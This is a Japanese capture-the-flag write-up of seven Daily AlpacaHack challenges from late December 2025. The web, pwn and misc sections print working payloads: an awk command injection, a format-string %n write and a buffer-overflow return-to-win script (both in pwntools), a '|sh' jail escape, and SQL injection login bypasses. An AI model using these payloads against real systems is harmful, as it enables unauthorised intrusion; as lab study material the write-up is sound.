Daily AlpacaHack Week4 (2025-12-22 ~ 2025-12-28)
Daily AlpacaHack の Writeup.
(2025/12/22 - 2025/12/28)
後から解いたものなど含むまとめ.
Log Viewer (Web, 2025/12/22)
- 正規表現を入力しマッチするログを表示するビュワー
- 入力が
awkコマンドの引数として渡されるため, OS コマンドインジェクション脆弱性がありそう - 入力は引数として送られてしまうためパイプラインを作って別コマンドを起動などは不可
awkではsystemを用いてコマンドを実行する機能があるため, これを用いてフラグの表示を試みる
echo test | awk '/.*/{system("cat flag.txt")}'
- 上記のコードでは正規表現
/.*/にマッチした場合にsystem("cat flag.txt")が実行される (/.*/は何に対してもマッチするので実質cat flag.txt) - 後ろについてくるスラッシュをコメントアウトして送ってみる
.*/{system("cat flag.txt")} #
- Internal Server Error が生じた
subprocess実行時にタイムアウトが 0.5 秒で設定されているため,exitを追加して実行しないといけないらしい (参考, 自分はここに気づけなかった...)
.*/{system("cat flag.txt");exit} #
Rotten Beef (Pwn, 2025/12/23)
- 変数
keyの値が 0xbeef になっていればフラグが獲得できる問題 checksecを行ったところ大体のセキュリティ機構が備わっていたため BOF 等は無理そうprintf(buffer, &key, &dummy)という形でフォーマット指定子入りの入力を渡すことができる場所が存在
printf("input > "); scanf("%11s", buffer); printf("Your input: "); printf(buffer, &key, &dummy); // !? printf("\n");
- 入力文字数が 11 文字に制限されているが, フォーマット指定子を組み合わせて 0xbeef 文字出力したあとに
%nで書き込みを行うことで,keyの値を上書きできた
from pwn import * _, host, port = "nc 34.170.146.252 9017".split() sh = remote(host, port) prompt = sh.recvuntil("input >".encode()) print(prompt.decode()) sh.sendline(f"%{0xbeef}c%1$n".encode()) sh.interactive()
cat3 (Misc, 2025/12/24)
- シンプルな jail 問題
catコマンドに 3 文字までの入力を与えられる- フラグは
../flag.txtに存在するため,./*といったワイルドカードを用いた表示などは難しそう - しかし,
subprocessで引数を渡すわけではなく直接入力文字列を埋め込んでいるため, パイプラインでshの起動が可能だった
|sh
Xmas Login (Web, 2025/12/25)
alpaca,reindeer,santa_claus_adminの 3 ユーザーでログイン出来たらフラグが獲得できる- SQL のクエリに入力文字列が埋め込まれるため, SQL Injection が可能
- 入力可能な文字列には制限がある
alpaca,reindeerはシンプルなインジェクションで可能
username: alpaca';-- password: a
reindeer用
username: reindeer';-- password: a
- サンタクロースに対しては文字数制限を避けるため LIKE 句を用いた検索で突破
username: a' OR '1'='1 password: a' OR username LIKE 's%
- 今回はユーザーに s から始まる人が一人しかいなかったため上記で突破
Useful Machine (Rev, 2025/12/26)
- バイナリファイルを読み込み, 処理していくプログラム
- 読み込んだバイナリを解釈する部分は独自の処理が書かれている (プログラム内の文字列などからフラグチェッカーのようなプログラムになっていそうなことが推測できる)
- コードを詳しく読むと, プログラムは一つの処理がオペコード, 引数1, 引数2 の三つの値から構成されていることが分かる
opcode = code[self.ip] oprand1 = code[self.ip + 1] oprand2 = code[self.ip + 2]
- 3 つ単位の処理をダンプする
with open("program", "rb") as f: program = f.read() with open("dump.txt", "w") as f: lines = [] opelist = [] for i in range(len(program) // 3): lines.append(f"{hex(program[i*3])}, {hex(program[i*3+1])}, {hex(program[i*3+2])}\n") opelist.append(program[i*3]) f.writelines(lines)
- ダンプファイルをみると入力文字の読み込みを行うオペコード 0 の出現タイミングを調べると, 9 個の処理ブロックで各文字の比較を行っている
- オペコードに従い解読してみると以下のような処理となる (各値は 8 ビットの符号なし数とする)
mem[1] = (ord(ch)+mem[3]) ^ data1 mem[3] = mem[1] if mem[1] == -data2 -> success
- 文字比較は各文字に対応するメモリ上の値 (
data1, data2) とひとつ前の文字の比較で使われた値 (mem[3]) に依存することが分かった - 上の処理の逆処理を一つ目の文字から順番に行うことで復号が可能
with open("dump.txt", "r") as f: program = f.readlines()[1:-1] flag = "" mem3 = 0 for i in range(len(program) // 9): data1 = int(program[i*9+2].split()[-1].strip(), 16) data2 = int(program[i*9+5].split()[-1].strip(), 16) flag += chr((((-data2 % 256) ^ data1) - mem3) % 256) mem3 = (-data2 % 256) print(flag)
simpleoverwrite (Pwn, 2025/12/27)
- 文字列の入力が可能なシンプルなプログラム
checksecを行うと Partial RELRO, No canary, No PIE- 配列
bufが要素数 10 であるのに対しread関数では 0x20 文字の読み込みを許可しているため BOF が可能 - PIE 無効のためリターンアドレスもバイナリから取得したものをそのまま使用可能
from pwn import * elf = ELF("./chall") context.binary = elf win_addr = elf.symbols["win"] ret_addr = 0x401252 is_remote = True if is_remote: _, host, port = "nc 34.170.146.252 59419".split() sh = remote(host, port) else: sh = process() prompt = sh.recvuntil("input:".encode()) print(prompt.decode()) # payload payload = "a".encode() * 10 # padding payload += "b".encode() * 8 # rbp padding payload += p64(win_addr) # return to win sh.sendline(payload) sh.interactive()
cha-ll-enge (Rev, 2025/12/28)
- ファイルの中身を読むとアセンブリに近い何かが書かれている
- 調べると LLVM-IR という中間言語であることが判明
- 拡張子を変えて
clangからバイナリにコンパイル可能であるらしい
clang -O0 -g -no-pie -fno-stack-protector chal.ll -o chall
- 上記コマンドでコンパイルを試みたところ宣言が足りないとエラーが出たので, libc 関数の宣言を以下のように追加
declare i32 @__isoc99_scanf(i8*, ...) declare i32 @printf(i8*, ...) declare i32 @puts(i8*) declare i32 @strlen(i8*)
- 今度は
!6という文字の部分でエラーが出たので以下のように書き換え
br label %15, !llvm.loop !6 -> br label %15
もう一度コンパイルを試みるとバイナリが作成された
Ghidra で逆コンパイルすると, 入力にいくつか処理をかけてメモリ内の値と比較していた
対応するメモリの値を
gdbで取り出し
import gdb # gdb -q ./challeng -x ./dump.py log = open("memory_dump.txt", "w") gdb.execute("set debuginfod enabled off") gdb.execute("set pagination off") gdb.execute("set confirm off") class memBP(gdb.Breakpoint): def __init__(self, spec, log): super().__init__(spec) self.log = log self.silent = True def stop(self): frame = gdb.selected_frame() rdi_addr = int(frame.read_register("rdi")) inferior = gdb.selected_inferior() enced_flag = inferior.read_memory(rdi_addr, 200) self.log.write(f"memory: {bytes(enced_flag).hex()}") self.log.flush() memBP(spec=r"*main+40", log=log) gdb.execute("run") log.close() gdb.execute("quit")
- 得られたメモリのダンプから復号
with open("memory_dump.txt", "r") as f: mem = f.read().split()[-1] enced_list = [] for i in range(len(mem) // 8): enced_list.append(int(mem[i*8:(i+1)*8], 16) >> 24) flag = "" for i in range(len(enced_list)-1): flag += chr(enced_list[i+1] ^ enced_list[i]) print(flag)